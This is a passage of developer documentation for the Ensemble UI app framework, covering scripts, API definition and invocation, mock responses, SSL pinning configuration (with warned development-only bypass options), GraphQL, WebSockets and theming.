[Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) | -| Signature | [Link](#signature-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/70eb8a13-e7df-4778-b7e6-57df17b032a0) | -| WeeklyScheduler | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/244ce957-98ed-4db8-a5a7-ee587d6dfe0b) | - -### Conditional - -| Widget | Documentation | Kitchen sink example | -| ----------- | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Conditional | [link](#conditional-widget) | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XljPegGrdieyKjy16URC?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) | - -### Feedback - -| Widget | Documentation | Kitchen sink example | -| ------------------ | ---------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| Progress indicator | [Link](/pages/widgets/progressindicator.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) | -| Toast message | [Link](#showtoast) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9a576805-019a-4bd3-953f-3c623fbfb905) | - ---- - - -# Script with JavaScript - -Scripts can provide a powerful way to enhance your app's functionality and customize its behavior beyond what can be achieved with declarative configurations alone. - -## When to Use Scripts - -Global Scripts are ideal for situations where you need: - -- **Reusable Logic:** Define functions or variables that can be used across multiple screens or widgets in your app. For example, a function to format dates or calculate totals could be placed in a Global Script for easy access. -- **Data Storage:** Store pre-defined data like user details, color palettes, or API endpoints in a Global Script for consistent use throughout your app. This simplifies updates and avoids code duplication. -- **Custom Logic:** Scripts allow you to Implement complex logic, manipulate data, perform calculations, and interact with external services and APIs. - -## Create a Script -In Ensemble Studio, navigate to your app and select `Scripts` from the left menu. Click the button `Create new script` present at the top right corner of the studio. - -![add language](public/images/scripts/create-script.png) - -Now open the script file and you can use standard JavaScript syntax to define variables and functions and then save the file. - -![add language](public/images/scripts/Add-script-content.png) - -> Ensemble currently supports JavaScript syntax up to ES5. - -## Import the script -In the YAML code for your screen or widget, use the `Import` section to reference the script file. For example: -```yaml -Import: - - Common -``` -## Use the Script -The code example shows how to access variables and functions defined in the Global Script from your screen's YAML code. -```yaml -Import: - - Common - -View: - styles: - backgroundColor: ${colors.snowGrey} # Here we have used color imported from the Common Script. - header: - title: Global scripts - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Run function from Common - styles: - backgroundColor: ${colors.red} # Here we have used color imported from the Common Script. - onTap: - executeCode: - body: | - // Import the getUserFromScript function from the Common script - var thisUser = getUserFromScript(); - - // Now assigning text to the Fields - nameText.text = "Name: " + thisUser.name; - companyText.text = "Company: " + thisUser.company; - - - Column: - children: - - Text: - text: User Details - styles: - textStyle: - color: ${colors.green} - fontSize: 21 - fontWeight: bold - isItalic: true - - Text: # Display user's name - id: nameText - - Text: #  Display user's company - id: companyText -``` -**Explanation:** -1. Accessing Variables from the Script: - + The `backgroundColor` of the view is set using `${colors.snowGrey}`. This references the snowGrey variable defined in the colors object within the Common Script. -Similarly, the `backgroundColor` of the button is set using `${colors.red}`. -2. Accessing Functions from the Script: - + Clicking the button triggers the `onTap` event, which calls the `executeCode` block. Inside the block, the `getUserFromScript()` function (defined in Common Script) is called to retrieve user information. - + The returned data is stored in the `thisUser` variable. To display the user's name, the code constructs a string by combining `"Name: "` with the `name` property of the `thisUser` object. - ---- - - -# Interact with APIs - -The primary mechanism for an Ensemble app to interact with the backend is through APIs. - -The basic flow is: - -- [First, define the APIs you want to call](define-api) -- [Invoke API calls](call-api) on events such as onLoad or onTap -- [Access the API response](access-api-response) -- [Handle errors](api-on-error) - - - -Following capabilities are also available in Ensemble: - - -- [Bind APIs to a template to render a series of widgets](api-item-templates) -- [SSL Configuration](api-ssl-configuration) -- [Chaining API calls](chaining-apis) -- [Websocket](websocket) -- [GraphQL](graphql) - ---- - -# Define APIs - -You define APIs by adding the `API` section to any screen. Note that `API` would be at the root level of the document, i.e. as a sibling to the `View`. - -```yaml -API: - myFirstApi: # a new to refer to this API later - inputs: # specify an array of inputs the API expect. You can reference the inputs in the other API properties, such as the body - uri: # the endpoint to call, e.g. https://dummyjson.com/users/1 - method: # the HTTP method, such as GET, POST, PUT, DELETE, PATCH - parameters: # set the parameters to be passed to the API - manageCookies: # Specify whether to manage cookies automatically for the request. This is only valid for native apps and will be ignored for web apps. Default is false. - headers: # set headers such as authorization tokens - body: # set body, in JSON or YAML, to pass data to the API - onSuccess: # fire an action when the API returns a 2** - onError: # fire an action when the API returns a 4** - - # add more APIs as you need - mySecondApi: -``` - -## GET call without authentication - -For public APIs that do not require authentication, you typically need only the URI and the method. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - -## GET call with bearer token - -APIs might be secured by requiring a token. This token is typically passed as a header parameter named `Authorization`. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET - headers: - Authorization: "Bearer <>" -``` - -## GET call with API key - -Some API providers would issue keys to their customers. Typically, the API provider would require the key to be passed a parameter. Check with API provider documentation on what the name of this parameter is. Here, we use `apiKey` as an example. - -```yaml -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET - parameters: - apiKey: "<>" -``` - -## POST call with data - -Typically you use POST calls with a body to pass data from the frontend to the backend. You can specify the body of the API, and use inputs to pass them dynamically. - -```yaml -API: - addProduct: - inputs: - - productTitle - uri: https://dummyjson.com/products/add - method: POST - body: - title: "${productTitle}" # example of a dynamic data that is set based on the inputs - source: MyApp # example of a static data that is always passed -``` - ---- - -# Invoking APIs, aka calling APIs - -Use `invokeAPI` action to call the APIs you defined. Here are the properties of invokeAPI: - -## API response object -Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | -| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | -| headers | array | Key value pairs of http response headers | -| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | -| cookies | array | A key-value map of cookies received from the API response when manageCookies is enabled | - -## API/invokeAPI properties -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | -| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | - - -invokeAPI can be passed to any event, such as `onLoad`, `onTap`, `onPullToRefresh`, ... using EDL or code. - - -## invokeAPI from EDL - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - # screen body -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - - -## invokeAPI from code (Javascript) - -```yaml -View: - onLoad: | - ensemble.invokeAPI("getUser"); - body: - # screen body -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - - -## Pass inputs to the API (in EDL or in code) - -A common interaction is to pass user provided info from a form to an API. To achieve this, set API inputs by binding to form values. - -Using EDL, set `inputs` property of the `invokeAPI` action. - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: productName - label: Product Name - - Button: - label: Submit - onTap: - invokeAPI: - name: addProduct - inputs: - productTitle: ${productName.value} - -API: - addProduct: - inputs: - - productTitle - uri: https://dummyjson.com/products/add - method: POST - body: - title: ${productTitle} -``` - - -Using code, pass `inputs` as an object. *Note* that you cannot pass `onResponse` and `onError` callbacks to `invokeAPI` in code. You can invoke an API in code and have the `onResponse` and `onError` defined on the API definition itself. - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: productName - label: Product Name - - Button: - label: Submit - onTap: | - ensemble.invokeAPI("addProduct", { - "productTitle": productName.value - }); - -API: - addProduct: - inputs: - - productTitle - uri: https://dummyjson.com/products/add - method: POST - body: - title: ${productTitle} -``` - ---- - -# Access API response body and headers - -You can access an API response through: - -- **API name** set when defining the API -- **API ID** set when invoking the API - -When invoking the same API more than once, the API name will point to the last instance of the API request. If this is not the desired effect, use an ID instead. - - -## Basic GET example - -Here, we use the API name to access the response body. In EDL, expressions are wrapped in `${}` so that Ensemble runtime evaluates the expression. In this case, the expression is referencing the API response body. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - Column: - styles: - padding: 40 - children: - - Text: - text: ${getUser.body.firstName} -API: - getUser: - uri: https://dummyjson.com/users/1 - method: GET -``` - - -## GET array of data and display using a template - -An API response could include an array of objects that the app displays using an `item-template`. Any widget that supports `children` property also supports `item-template`. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - body: - Column: - styles: - padding: 40 - item-template: - data: ${getUser.body.users} - name: user - template: - Text: - text: ${user.firstName} -API: - getUser: - uri: https://dummyjson.com/users/ - method: GET -``` - - -## Using ID to access API response - -When invoking an API, optionally you can assign it an ID. Use this ID when you invoke the API multiple times to access each instance. Here are few examples: - -### 1. Invoking different APIs based on a condition - -The name of the API you invoke could be set based on an input so that you can add conditions on what API to call. In this scenari, you need to use an ID to refer to the API response. - -```yaml -View: - onLoad: - invokeAPI: - name: getMatches - - body: - Column: - item-template: - data: ${getMatchess.body} - name: m - template: - MatchInfo: - inputs: - id: ${m.id} - api: '${m.status == "Finished" ? "getPastMatchDetails" : "getUpcomingMatch"}' - -MatchInfo: - - # use the widget inputs to invoke relevant API and pass the required inputs to the API - inputs: - - id - - api - onLoad: - invokeAPI: - id: matchDetails # use this ID to bind to this API response - name: ${api} - inputs: - id: ${id} - body: - Text: - text: ${matchDetails.body.title} - -API: - - getMatchess: - uri: https://dummyjson.com/matches - method: GET - - getPastMatchDetails: - inputs: - - id - uri: https://dummyjson.com/match/histpry/${id} - method: GET - - getUpcomingMatch: - inputs: - - id - uri: https://dummyjson.com/match/info/${id} - method: GET - -``` - - -### 2. Invoking the same API multiple times - -In these scenarios, the API name, e.g. `${apiName.body...}`, will point to the last instance where that API was invoked. In contrast, the ID will ensure you are referring to the correct instance of the API response within your widget tree. - -Let's consider this scenario: - -1. The app fetches a list of people -2. For each person, the app makes a separate API call to get that person's company info - -```yaml -View: - onLoad: - invokeAPI: - name: getPeople - - body: - Column: - styles: - padding: 24 - children: - - GridView: - styles: - expanded: true - itemHeight: 50 - item-template: - data: ${getPeople.body.users} - name: p - template: - PersonCard: - inputs: - name: ${p.firstName} ${p.lasstName} - company: ${p.company.name} - -PersonCard: - inputs: - - name - - company - onLoad: - invokeAPI: - id: thisCompany # use this ID to refer to bind to this API response - name: getCompanyDetails - inputs: - company: ${company} - body: - Column: - children: - - Text: - text: ${name} - - Text: - text: ${thisCompany.body.name} - -API: - - getPeople: - uri: https://dummyjson.com/users/ - method: GET - - getCompanyDetails: - inputs: - - company - uri: https://dummyjson.com/companies/ - method: GET - parameters: - name: ${company} -``` - ---- - -# onError - -When making API calls, it's crucial to handle errors gracefully to provide a better user experience. When invoking an API, `onError` event is dispatched when the response is a not a success. - -```yaml -View: - body: - Column: - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDo - onResponse: | - apiStatus.text = 'Call was successful'; - onError: | - apiStatus.text = 'API returned an error'; - - Text: - id: apiStatus -``` - ---- - -# Binding APIs to Item Templates - -When developing user interfaces, it's common to display lists of items, and Ensemble simplifies this process by providing the item-template property. This property can be assigned to container widgets like GridView or Carousel and is particularly useful for binding API responses to data-driven UI elements. - -`item-template` takes the following properties: - -- `data`: This should point to an array of data. -- `name`: Set this to a value to reference in the `template`. -- `template`: This is where we define the widgets to render for each item. - -| Property | Type | Description | -| -------- | ------ | ------------------------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | widget | The data row widget to render for each item, it can be a custom widget as well. | - -```yaml -item-template: - data: ${getPeople.body.results} - name: item - template: - Text: - text: ${item.name.first} -``` - -The `data` property of the item-template is bound to the results of the getPeople2 API call (${getPeople2.body.results}). -The `name` property is set to "item," serving as a reference to each item in the array. -The `template` property defines the structure of each item in the list. In this case, it's a Text widget displaying the first name of each person from the API response (${item.name.first}). - -This setup uses the API response from getPeople2 to dynamically generate a list of Text widgets, each displaying the first name of a person from the API response. - ---- - -# Mocking API responses to develop and test your app -A key to developing an app quickly is to build the user interface independently of the back-end. This allows the team building the UI to be unblocked and move fast while also providing actual API payloads to the back-end team to build. Another advantage of this approach is that app could be built quickly with mockdata and be demo'd to customers for feedback. -Ensemble provides a framework for mockng API responses that allow you to do that. You can mock all APIs or some and test with mockdata by simply setting a property. - -- To get hands-on experience with mock APIs, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/UmaRcuduyIZmvOfk9BJu) - -## 1. Setting/unsetting `useMockResponse` -Firstly, to use mock data in your app, it's important to update the global script of the screen, making sure that the API calls are directed to the mock data instead of the actual URL. -```javascript -Global: |- - app.useMockResponse = true; -``` -this sets the `useMockResponse` in the persistent storage but namespaces it by the appId i.e. _useMockResponse. - -For example: -RaRwIu1NasUOUsuJ0OuO_useMockResponse = true; -will be set in storage automatically for an app with id = 'RaRwIu1NasUOUsuJ0OuO' - -you can check the value by just doing - -```javascript -if ( app.useMockResponse ) {...} -``` -By namespacing it, we can ensure that in ensemble live (or studio preview), one app's `useMockResponse` setting is not leaked into another app. - -In theory, you can bind to it as well as it is just another value in the storage. Remember to bind to `_userMockResponse` where should be replaced by your app's id without the <>. for example - RaRwIu1NasUOUsuJ0OuO_useMockResponse - -You can obtain appId for your app anytime by doing - -```javascript -appInfo.appId -``` - -## 2. Specify mock data on the API definitions -Mock data can be specified in 2 different ways, each offering flexibility and customization options to meet your development and testing needs. -### Inline on the API -Below is an example of an API definition, where `mockResponse` property is utilized to specify the inline mock data, which includes a `body` object containing mock data elements such as `title` and `list`. Additionally, response `headers` can be defined to simulate various scenarios. This approach is useful for quickly defining and modifying mock data directly within the API definition. -```yaml - slowAPI: - inputs: - - uniqueId - mockResponse: - #inline mock response - body: - title: I am mock data - list: - - name: mock first - - name: mock second - - name: mock third - - name: ${uniqueId} - #can set response headers as well - headers: - - authToken: absbsbxssjjs - url: https://openlibrary.org/search.json?q=the+lord+of+the+rings - onResponse: |- - console.log('slowAPI='+uniqueId); - response.body.list.push({name: 'adding in onResponse - '+uniqueId}); -``` - -### Return mock data from a function -```yaml - mockDataFromFunction: - inputs: - - uniqueId - mockResponse: ${getMockResponse()} - url: https://openlibrary.org/search.json?q=the+lord+of+the+rings - onResponse: |- - console.log('mockDataFromFunction='+uniqueId); - response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); -``` -The above API `mockDataFromFunction` endpoint utilizes a function to generate and return mock data dynamically. The `mockResponse` property references the `getMockResponse()` function, which is responsible for generating the mock data. The function could be defined either in the `Global` script block on the current screen or in a separate script and imported in. This method offers greater flexibility and allows for more complex mock data generation logic. -```javascript -var abc = 'var abc'; -function getMockResponse() { - return { - body: { - title: 'hello from mockResponse' + abc, - list: [ - {name: 'mockResponse1'}, - {name: 'mockResponse2'}, - {name: 'mockResponse3'}, - {name: 'mockResponse4'}, - {name: 'mockResponse5'} - ] - } - }; -} -``` -- Response from mock API can be used in a similar way as real API. To understand the utilization of API responses, detailed documentation is available [here](access-api-response). -### Mocking an error response -You can simply set `statusCode` property of the error to a specified status code such as "500" and `reasonPhrase` property to provide bit of description related to the error. -```yaml - mockError: - inputs: - - uniqueId - mockResponse: - body: - statusCode: 500 - reasonPhrase: mock bad request - - url: https://openlibrary.org/search.json?q=the+lord+of+the+rings - onResponse: |- - console.log('mockDataFromFunction='+uniqueId); - response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); - onError: - showToast: - message: error occurred ${response.statusCode} ${response.reasonPhrase} - options: - duration: 5 -``` - ---- - -# Chaining APIs - -Chaining APIs, i.e. making sequential API calls, is a practice in app development when you need to retrieve and use data from multiple APIs in a specific order. Chaining APIs allows you to build more complex workflows and gather the necessary information for your application. - -```yaml -onLoad: - invokeAPI: - name: getuser - onResponse: - invokeAPI: - name: getcurrentUserContacts - inputs: - userId: ${getUser.body.id} -``` - -**Sequential API Calls:** -The onResponse event for each API call specifies the next API call to be made after the current one is successfully completed. -For example, after the initial API call named "getuser", the onResponse event triggers the "getcurrentUserContacts" API call. - ---- - -# SSL Configuration - -SSL (Secure Sockets Layer) configuration in Ensemble allows you to secure your API communications through certificate pinning and verification controls. This guide explains both global and per-API SSL configuration options and their proper usage. - -## Configuration Levels - -Ensemble supports SSL configuration at two levels: - -1. **Global Configuration** - Applied to all APIs by default using environment variables and secrets -2. **Per-API Configuration** - Overrides global settings for specific APIs using the `sslConfig` property - -## Global SSL Configuration - -### Environment Variables - -These settings apply to all APIs unless overridden by per-API configuration: - -#### ssl_pinning_enabled -- **Type:** Environment Variable -- **Purpose:** Controls whether SSL certificate pinning is active globally -- **Values:** 'true' or 'false' -- **Default:** false -- **Availability:** Only supported in native apps (not available for web apps) - -#### bypass_ssl_pinning -- **Type:** Environment Variable -- **Purpose:** Allows bypassing SSL certificate verification globally -- **Values:** 'true' or 'false' -- **Default:** false -- **Warning:** Should only be used in development environments, never in production - -#### bypass_ssl_pinning_with_validation -- **Type:** Environment Variable -- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints -- **Values:** 'true' or 'false' -- **Default:** false -- **Usage:** Compares current certificate fingerprint with stored fingerprint from secure storage - -### Secrets - -#### ssl_pinning_certificate -- **Type:** Secret -- **Purpose:** Provides the certificate for SSL pinning verification -- **Format:** Must be Base64 encoded -- **Behavior:** The app will only trust servers presenting this certificate -- **Dependencies:** Requires `ssl_pinning_enabled` to be 'true' - -## Per-API SSL Configuration - -For more granular control, you can override global SSL settings for individual APIs using the `sslConfig` property in your API definition. - -### Basic Syntax - -```yaml -API: - mySecureAPI: - uri: https://api.example.com/data - method: GET - sslConfig: - pinningEnabled: true - bypassPinning: false - bypassPinningWithFingerprint: false - fingerprintKey: "api_example_com_fingerprint" - headers: - Authorization: Bearer ${token} -``` - -### sslConfig Properties - -#### pinningEnabled -- **Type:** Boolean -- **Purpose:** Enable/disable SSL certificate pinning for this specific API -- **Values:** true or false -- **Overrides:** Global `ssl_pinning_enabled` environment variable -- **Example:** `pinningEnabled: true` - -#### bypassPinning -- **Type:** Boolean -- **Purpose:** Bypass SSL certificate verification for this specific API -- **Values:** true or false -- **Overrides:** Global `bypass_ssl_pinning` environment variable -- **Warning:** Use only in development -- **Example:** `bypassPinning: true` - -#### bypassPinningWithFingerprint -- **Type:** Boolean -- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints -- **Values:** true or false -- **Overrides:** Global `bypass_ssl_pinning_with_validation` environment variable -- **Example:** `bypassPinningWithFingerprint: true` -- **Requirement:** `fingerprintKey` should be set with the same key given in API defination as secureStorage. - -#### fingerprintKey -- **Type:** String -- **Purpose:** Specifies the key in secure storage where the certificate fingerprint is stored -- **Default:** "bypass_ssl_fingerprint" -- **Usage:** Used with `bypassPinningWithFingerprint` to retrieve the stored certificate fingerprint for validation -- **Example:** `fingerprintKey: "api_example_com_fingerprint"` - -## Certificate Fingerprint Management - -When using `bypassPinningWithFingerprint`, you need to store the certificate fingerprint in secure storage. There are two main approaches: - -### Method 1: Using Ensemble's setSecureStorage Action - -Store the certificate fingerprint manually using Ensemble's secure storage: - -```yaml -Button: - label: Store Certificate Fingerprint - onTap: - setSecureStorage: - key: "api_example_com_fingerprint" - value: "a1b2c3d4e5f6..." # SHA256 fingerprint of the certificate - onComplete: - showToast: - message: Certificate fingerprint stored -``` - -### Method 2: Using External Methods (Dynamic Certificate Capture) - -For dynamic certificate capture, you can expose external methods from your host application: - -#### Host Application Setup (Flutter/Dart Example) - -```dart -// In your main.dart or wherever you initialize EnsembleApp -Future> captureCertificateForHost({ - required String host, - int port = 443 -}) async { - HttpClient httpClient = HttpClient(); - httpClient.connectionTimeout = const Duration(seconds: 10); - - String sha256Certificate = ''; - - httpClient.badCertificateCallback = (X509Certificate cert, String certHost, int certPort) { - if (certHost.toLowerCase() == host.toLowerCase()) { - sha256Certificate = sha256.convert(cert.der).toString(); - return true; - } - return false; - }; - - try { - HttpClientRequest request = await httpClient.getUrl(Uri.parse('https://$host:$port/')); - HttpClientResponse response = await request.close(); - await response.drain(); - httpClient.close(); - - if (sha256Certificate != '') { - await StorageManager().writeSecurely( - key: 'bypass_ssl_certificate', - value: sha256Certificate, - ); - return {'status': true, 'fingerprint': sha256Certificate}; - } else { - return {'success': false, 'error': 'Failed to capture certificate'}; - } - } catch (e) { - return {'success': false, 'error': e.toString()}; - } -} - -// Register the external method -EnsembleApp( - externalMethods: const { - 'captureCertificateForHost': captureCertificateForHost, - }, - // ... other properties -) -``` - -#### Using External Method in Ensemble EDL - -```yaml -View: - onLoad: - callExternalMethod: - name: captureCertificateForHost - payload: - host: ${HOST} - port: ${PORT_NUMBER} - onComplete: - invokeAPI: - name: secureAPI - onError: - showToast: - message: "Failed to capture certificate: ${response.error}" - options: - type: error - -API: - secureAPI: - uri: ${HOST}/endpoint - method: GET - sslConfig: - bypassPinningWithFingerprint: true - fingerprintKey: "api_fingerprint" - headers: - Authorization: Bearer ${token} -``` - - - -## Configuration Examples - -### Example 1: High-Security API with Certificate Pinning - -```yaml -API: - paymentAPI: - uri: https://secure-payment.example.com/process - method: POST - sslConfig: - pinningEnabled: true - bypassPinning: false - bypassPinningWithFingerprint: false - headers: - Authorization: Bearer ${paymentToken} - Content-Type: application/json - body: - amount: ${amount} - currency: USD -``` - -### Example 2: Development API with SSL Bypass - -```yaml -API: - devTestAPI: - uri: https://dev-server.example.com/test - method: GET - sslConfig: - pinningEnabled: false - bypassPinning: true # Only for development! - bypassPinningWithFingerprint: false - headers: - Authorization: Bearer ${devToken} -``` - -## Security Best Practices - -1. **Production Environment**: Always use certificate pinning (`pinningEnabled: true`) for production APIs -2. **Development Environment**: Use `bypassPinning: true` only during development -3. **Dynamic Environments**: Use `bypassPinningWithFingerprint: true` when dealing with dynamic certificates or multiple environments -4. **Certificate Storage**: Store certificate fingerprints securely using `setSecureStorage` or external methods - ---- - -# GraphQL - -Use Case (Social Media): GraphQL is particularly beneficial in scenarios like social media, where large-scale data is involved. It allows clients to request only the specific data they need, leading to quicker response times (1-2 seconds). -Efficiency: GraphQL enables clients to specify the exact data they want in a single query, reducing over-fetching and under-fetching. - -```yaml - inputs: - - GQLInput - uri: ${env['graphQL_URL_'ensemble.storage]} - method: POST - headers: - Authorization: Bearer ${ensemble.storage.token.exp_token} - ContentType: "application/json" - body: - "query": |- - mutation UpdatePost($input: CreateUpdatePostInput!) {} - "variables": ${GQLInput} -``` - -HTTP Method: -GraphQL APIs typically use the HTTP POST method. In your example, the method is specified as POST. -```yaml -method: POST -``` - -URI (Uniform Resource Identifier): -The URI is typically a single endpoint for GraphQL APIs. In your example, the URI is parameterized with an environment variable (assuming graphQL_URL_ensemble.storage is provided at runtime). -```yaml -uri: ${env['graphQL_URL_'ensemble.storage]} -``` - -Headers: -GraphQL API requests often include headers for authentication or specifying the content type. In your example, you have headers for Authorization (Bearer token) and ContentType (set to "application/json"). -```yaml -headers: - Authorization: Bearer ${ensemble.storage.token.exp_token} - ContentType: "application/json" -``` - -Request Body: -GraphQL API requests use a structured query language in the request body. The key part here is the "query" field, where you define the GraphQL query or mutation. In your example, you are using a mutation called "UpdatePost," and the query is parameterized with ${GQLInput}. -```yaml -body: - "query": |- - mutation UpdatePost($input: CreateUpdatePostInput!) {} - "variables": ${GQLInput} -``` - ---- - -# Using WebSockets - -The Websockets feature enables bidirectional communication between client and server, facilitating real-time data exchange. - - -## Define a WebSocket - -The WebSocket configuration includes settings for connecting to the WebSocket server, handling connection events, and managing data exchange. - -`spark`: Represents the WebSocket connection to the specified URI (`wss://spark.ensembleui.com/example/ws/`). - -```yaml -Socket: - spark: - uri: wss://spark.ensembleui.com/example/ws/ - onSuccess: | - status.text = "connected"; - onDisconnect: | - status.text = "disconnected"; - onReconnectAttempt: | - status.text = "reconnecting"; - onReceive: | - console.log(spark.data); -``` - -## Interact with WebSockets - -Ensemble supports following actions for WebSockets: - -1. Connect Socket: Establishes a connection to the specified socket. - -```yaml - - Button: - label: Connect Action - onTap: - connectSocket: - name: spark -``` - -2. Disconnect Socket: Terminates the connection to the specified socket. - -```yaml - - Button: - label: Disconnect Action - onTap: - disconnectSocket: - name: spark -``` - -3. Message Socket: Sends a message over the specified socket. - -```yaml - - Button: - label: SendMessage Action - onTap: - messageSocket: - name: spark - message: - "content": "Hello there" -``` - ---- - -# Theme - -From color schemes to typography, widgets, and transition options, our comprehensive range of theme elements allows you to effortlessly personalize your app. Discover how themes can transform your online presence, create a cohesive brand identity, and provide a delightful user experience. Unlock the full potential of your app with our versatile and user-friendly theme customization features. - -[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) - -## Where to find it ? - -You can find the theme on Left-Side of the panel in ensemble studio after you have selected your App. - -image - -## Defining one theme - -You can define one or more themes for our app and switch between them dynamically. If you only need one theme, you can just define the `Styles` without any `Theme` tag, see the following example. - -```yaml -Tokens: - Colors: - primary: - '900': '#1A2A4C' - '800': '#243B6A' - '700': '#2F4D89' - '600': '#0077B8' - '500': '#0092E0' - '400': '#33B8FF' - '300': '#70CDFF' - '200': '#ADE4FF' - '100': '#D6F1FF' - '50': '#EBF5FF' -Styles: - Button: - backgroundColor: ${Colors.primary['800']} - .submitButton: - backgroundColor: green -``` - -## Defining multiple themes - -Use Case: Allow your users to switch between differnt themes to personalize the look and feel of your app to their tastes. Save the theme that the user selected and automatically apply it everytime user opens the app. - -You can define one or more themes for our app and switch between them dynamically. See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) for a detailed example. - -## Defining themes for different languages - -Use Case: The primary use case is to define a different `fontFamily` for each language as some font families are more optimized for particular languages . You can go much further and define entirely different themes per language as well and allow users to switch between them. - -You can define multiple different themes for each language. This is of course optional. -- Ensemble platform will automatically pick the default theme for a language based on the language of the user's device. -- If none of the themes are marked as `default`, first theme for the language is selected. -- If a theme is not defined for the language, the default theme from the list of themes (or the first one) is applied. - -Here's how to define themes per language (also called locale) - - -```yaml -Themes: -# this is the list of all available themes - - Common - - PrimaryTheme: - default: true - - SecondaryTheme - - RTLTheme: - -LocaleThemes: -#this is the list of themes per locale. Note that the following themes must be present in the list of `Themes` above - en: #language code - https://www.science.co.il/language/Locale-codes.php is used to identify the language for the theme - - SecondaryTheme: - default: true - - PrimaryTheme - ur: - - RTLTheme: - default: true - - SecondaryTheme - ar: - - RTLTheme -``` -The [language code](https://www.science.co.il/language/Locale-codes.php) is used to identify the language. - -## Checking and Switching Themes in Javascript - -```javascript -var themes = app.themes; //returns a list of all configured themes -var currentTheme = app.theme; //currently applied theme -app.theme = 'newTheme'; //change themes dynamically. The theme name must be in the list of Themes in the theme definition. -``` - -In the following EDL, a `DropDown` widget is bound to the list of `themes` that have been configured in the app and allows user to swtich from one theme to another. - -**Example:** - -Bind the `themes` to a dropdown and let user switch themes from all the available themes. -```yaml - - Dropdown: - label: Pick a Theme - items: ${app.themes} - value: ${app.theme} - onChange: - executeCode: - body: | - app.theme = this.value; -``` - -## Savings themes in storage so they can be applied across application sessions - -A common requirement from theming is to be able to persist a theme that user has selected across multiple application sessions i.e. even when the user kills the app and relaunches, the theme s/he selected should automatically apply. Ensemble provides that capability by storing themes in local storage. - -At application startup time, Ensemble platform checks if there is a saved theme and if that theme exists in the list of theme definitions. If both conditions are true, it automatically applies the saved theme instead of the default theme configured in the app. - -Application developers have the following functions available to them. -```javascript -//save theme in storage, this will automatically be applied by the platform on startup -//note that saveTheme does NOT apply a theme, it merely saves it. use app.theme = 'myNewTheme'; to change themes dynamically, -app.saveTheme('myNewTheme'); -//retrieve the saved theme -var savedTheme = app.getSavedTheme(); //there can only be one saved theme -//or remove the saved theme from storage -app.removeSavedTheme(); -``` - -## Text Styles are automatically inherited unless overriden -All text styles (for example - `fontSize`, `fontFamily`, `color` etc) can be defined at the `View`, `Column`, `Row` or any of the top widget level and will automatically be inherited by all `Text` widgets. Note that labels for `Button` etc do not inherit these styles. - -**Example:** -```yaml -View: - className: topView -#rest of your screen definition -``` -And over in your Theme -```yaml - Styles: - .topView: - backgroundColor: ${Colors.gray['200']} - textStyle: - fontWeight: ${Typography.fontWeight['700']} - fontSize: ${Typography.fontSize['xl']} -``` -All `Text` in the screen will inherit these text styles. You can specify the style at the `View` node and then all Text widgets across your whole app would inherit those text styles - -## Parts of a Theme - -- Tokens (optional) -- Styles (in precedence order) - - Inline - specified directly on the widget - - ID based - specified with `#` before the name in the Theme.Styles - - Style Classes - specified as `className` attribute on a widget. One or more space delimited classes - - Widget type - specified for the widget type such as Button in the Theme.Styles - - Inherited from parent - these are limited to `textStyle` only (see above) - -Here's an explanation of the different parts of a theme: - 